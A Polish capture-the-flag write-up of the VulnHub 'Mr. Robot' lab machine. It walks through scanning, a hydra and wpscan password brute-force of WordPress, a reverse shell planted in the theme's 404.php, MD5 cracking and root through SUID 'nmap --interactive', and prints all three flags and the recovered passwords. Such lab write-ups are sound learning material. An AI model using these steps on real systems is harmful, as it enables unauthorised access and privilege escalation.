Standardowo zaczynam od znalezienia IP maszyny.

┌[parrot@parrot]─[~/vulnhub/mrrobot]
└╼[★ ]$sudo netdiscover -r 192.168.2.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                  
                                                                                                                                
 37 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 2220                                                              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:08     34    2040  VMware, Inc.                                                                 
 192.168.2.2     00:50:56:f0:ed:fa      1      60  VMware, Inc.                                                                 
 192.168.2.143   00:0c:29:d2:5c:c8      1      60  VMware, Inc.                                                                 
 192.168.2.254   00:50:56:e2:f7:dc      1      60  VMware, Inc.

Adres IP maszyny: 192.168.2.143.


NMap

[parrot@parrot][~/vulnhub/mrrobot]
└╼[]$nmap -sC -sV 192.168.2.143   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-04 03:11 CEST
Nmap scan report for 192.168.2.143
Host is up (0.0022s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Apache
443/tcp open   ssl/http Apache httpd
|_http-title: Site doesnt have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-server-header: Apache

Po wejściu na stronę główną widzimy terminal. Ten box świetnie oddaje klimat serialu właśnie o nazwie Mr. Robot. Zdecydowanie warto obejrzeć. Zdaje się, że mamy tutaj Wordpressa.

Każda z komend wywołuje inne działanie. Wyświetlają się klimatyczne krótkie filmiki w stylu serialu.


FeroxBuster

┌[parrot@parrot]─[~/vulnhub/mrrobot]                                                                                                                                                                               
└╼[★ ]$feroxbuster -w /opt/SecLists/Discovery/Web-Content/common.txt -u http://192.168.2.143/ -t 50 -d 1 -r                                                                                                        
                                                                                                                                                                                                                   
 ___  ___  __   __     __      __         __   ___                                                                                                                                                                 
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                                                                                  
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                                                                                                                 
by Ben "epi" Risher 🤓                 ver: 2.3.3                                                                                                                                                                  
───────────────────────────┬──────────────────────                                                                                                                                                                 
 🎯  Target Url            │ http://192.168.2.143/                                                                                                                                                                 
 🚀  Threads               │ 50                                                                                                                                                                                    
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/common.txt                                                                                                                                        
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]                                                                                                                                    
 💥  Timeout (secs)        │ 7                                                                                                                                                                                     
 🦡  User-Agent            │ feroxbuster/2.3.3                                                                                                                                                                     
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml                                                                                                                                                    
 📍  Follow Redirects      │ true                                                                                                                                                                                  
 🔃  Recursion Depth       │ 1                                                                                                                                                                                     
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest                                                                                                                                 
───────────────────────────┴──────────────────────                                                                                                                                                                 
 🏁  Press [ENTER] to use the Scan Cancel Menu™                                                                                                                                                                    
──────────────────────────────────────────────────                                                                                                                                                                 
403        9l       24w      213c http://192.168.2.143/.hta                                              
403        9l       24w      218c http://192.168.2.143/.htaccess                                                                                                                                                   
403        9l       24w      218c http://192.168.2.143/.htpasswd                                                                                                                                                   
200      121l      387w     8182c http://192.168.2.143/0/                                                
200      154l      554w    11779c http://192.168.2.143/Image/                                            
200       30l       98w     1077c http://192.168.2.143/admin/                                            
403        9l       24w      215c http://192.168.2.143/audio/                                            
200       17l       32w        0c http://192.168.2.143/feed/atom/                                                                                                                                                  
403        9l       24w      214c http://192.168.2.143/blog/                                             
403        9l       24w      213c http://192.168.2.143/css/                                              
200       54l      161w     2747c http://192.168.2.143/wp-login.php?redirect_to=http%3A%2F%2F192.168.2.143%2Fwp-admin%2F&reauth=1                                                                                  
200        0l        0w        0c http://192.168.2.143/favicon.ico                                                                                                                                                 
200       21l       31w        0c http://192.168.2.143/feed/                                             
403        9l       24w      216c http://192.168.2.143/images/                                           
200       30l       98w     1188c http://192.168.2.143/index.html                                                                                                                                                  
200       30l       98w     1188c http://192.168.2.143/                                                  
200      154l      554w    11843c http://192.168.2.143/image/                                            
200     2028l    11941w   516314c http://192.168.2.143/intro                                             
403        9l       24w      212c http://192.168.2.143/js/                                               
200      385l     3179w    19930c http://192.168.2.143/license                                           
200       54l      161w     2747c http://192.168.2.143/wp-login.php
403        1l       14w       94c http://192.168.2.143/phpmyadmin
200       97l      842w     7334c http://192.168.2.143/readme
200       23l       32w        0c http://192.168.2.143/feed/rdf/
200        3l        4w       41c http://192.168.2.143/robots
200        3l        4w       41c http://192.168.2.143/robots.txt
200        0l        0w        0c http://192.168.2.143/sitemap
200        0l        0w        0c http://192.168.2.143/sitemap.xml
403        9l       24w      215c http://192.168.2.143/video/
403        9l       24w      221c http://192.168.2.143/wp-includes/
200        0l        0w        0c http://192.168.2.143/wp-content/
200        0l        0w        0c http://192.168.2.143/wp-config
200        0l        0w        0c http://192.168.2.143/wp-cron
200       10l       22w        0c http://192.168.2.143/wp-links-opml
200       54l      161w     2747c http://192.168.2.143/wp-login
200        0l        0w        0c http://192.168.2.143/wp-load
403      109l      296w        0c http://192.168.2.143/wp-mail
500        0l        0w        0c http://192.168.2.143/wp-settings
405        1l        6w        0c http://192.168.2.143/xmlrpc.php
405        1l        6w        0c http://192.168.2.143/xmlrpc
200       56l      172w     2888c http://192.168.2.143/wp-login.php?registration=disabled

Pierwsze co rzuca się w oczy to plik robots.txt

Okazuje się, że pliczek fsocity.dic to słownik. Prawdopodobnie przyda się podczas crackingu, ale jeszcze nie wiemy czego.

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9


wpscan

[parrot@parrot][~/vulnhub/mrrobot]
└╼[]$wpscan --url http://192.168.2.143 -e ap --plugins-detection aggressive

...
...

[+] WordPress version 4.3.28 identified (Latest, released on 2022-03-11).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.2.143/85c1728.html, Match: '-release.min.js?ver=4.3.28'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.2.143/85c1728.html, Match: 'WordPress 4.3.28'
...
...
[+] contact-form-7                                                                                                                                            
 | Location: http://192.168.2.143/wp-content/plugins/contact-form-7/                                                                                          
 | Last Updated: 2022-07-19T06:20:00.000Z                                                                                                                     
 | Readme: http://192.168.2.143/wp-content/plugins/contact-form-7/readme.txt                                                                                  
 | [!] The version is out of date, the latest version is 5.6.1                                                                                                
 |                                                                                                                                                            
 | Found By: Known Locations (Aggressive Detection)                                                                                                           
 |  - http://192.168.2.143/wp-content/plugins/contact-form-7/, status: 403                                                                                    
 |                                                                                                                                                            
 | Version: 4.1 (100% confidence)                                                                                                                             
 | Found By: Readme - Stable Tag (Aggressive Detection)                                                                                                       
 |  - http://192.168.2.143/wp-content/plugins/contact-form-7/readme.txt                                                                                       
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)                                                                                            
 |  - http://192.168.2.143/wp-content/plugins/contact-form-7/readme.txt

Zrobiłem również rekonesans toolem hydra, która bierze kolejne rekordy z fsocity.dic i wstawia hasło 123, ale to jest bez znaczenia. Ważna jest część Invalid username. Ta część odpowiada za to, kiedy program kończy działanie, a kiedy ma działać dalej. W tym przypadku jeżeli na przykładowy username admin dostaniemy error z właśnie wpisem Invalid username, program działa dalej, dopóki nie znajdzie “innego” errora.

[parrot@parrot][~/vulnhub/mrrobot]                                                                                                                          
└╼[]$hydra -L fsocity.dic -p 123 192.168.2.143 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username' -I

[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task                                                  
[DATA] attacking http-post-form://192.168.2.143:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username                                                                                                                         
[80][http-post-form] host: 192.168.2.143   login: elliot   password: 123                                                                                      

Wiadomo, że jeden z userów to elliot. Mając tą wiedzę spróbowałem złamać hasło ponownie wpscanem z użyciem tego słownika fsocity.dic.

[parrot@parrot][~/vulnhub/mrrobot]                                                                                                                          
└╼[]$wpscan --url http://192.168.2.143 -U users.txt -P fsocity.dic 
...
...
[!] Valid Combinations Found:
 | Username: elliot, Password: ER28-0652

Udało się. Mamy dostęp do dashboardu. elliot:ER28-0652.


Shell jako daemon

Ostatnio nauczyłem się fajnego sposobu od Ippsec'a otrzymywania shella bez dodatkowych pluginów. Polega to na edycji obecnego motywu, a dokładniej pliczku odpowiadającego za errory 404, czyli 404.php. Wystarczy dodać na końcu kod reverse-php-shella, ustawić pod swoje dane i cieszyć się shellem 😊

Wiadomo, że na boxie mamy jeszcze usera robot. Gdy wejdziemy sobie na jego folder domowy, widzimy dwa pliki. Jedna to flaga a druga to z dużą pewnością hash w MD5 tego usera. Zatem zabieram się za cracking.


Cracking hasła

Poszło bardzo szybko. MD5 łamie się wyjątkowo przyjemnie 😁

Hasło to abcdefghijklmnopqrstuvwxyz. Przykład bardzo słabego hasła.

su robot 
abcdefghijklmnopqrstuvwxyz

id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:~$

Privilege Escalation

Możemy teraz odczytać drugą flagę.

key-2-of-3.txt

822c73956184f694993bede3eb39f959

Widać conajmniej dwie drogi do roota.

  1. SUID nmap

  2. Podatność w jądrze Linuxa

Eskalacja nmapem jest bardzo prosta. User robot nie jest w grupie SUDOERS, ale wystarczy włączyć nmapa w trybie interaktywnym i wywołać shella.

nmap --interactive
!sh
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)

key-3-of-3.txt

04787ddef27c3dee1ee161b21670b4e4

Próbowałem uzyskać roota drugim sposobem, ale exploit nie działał poprawnie.


Root proof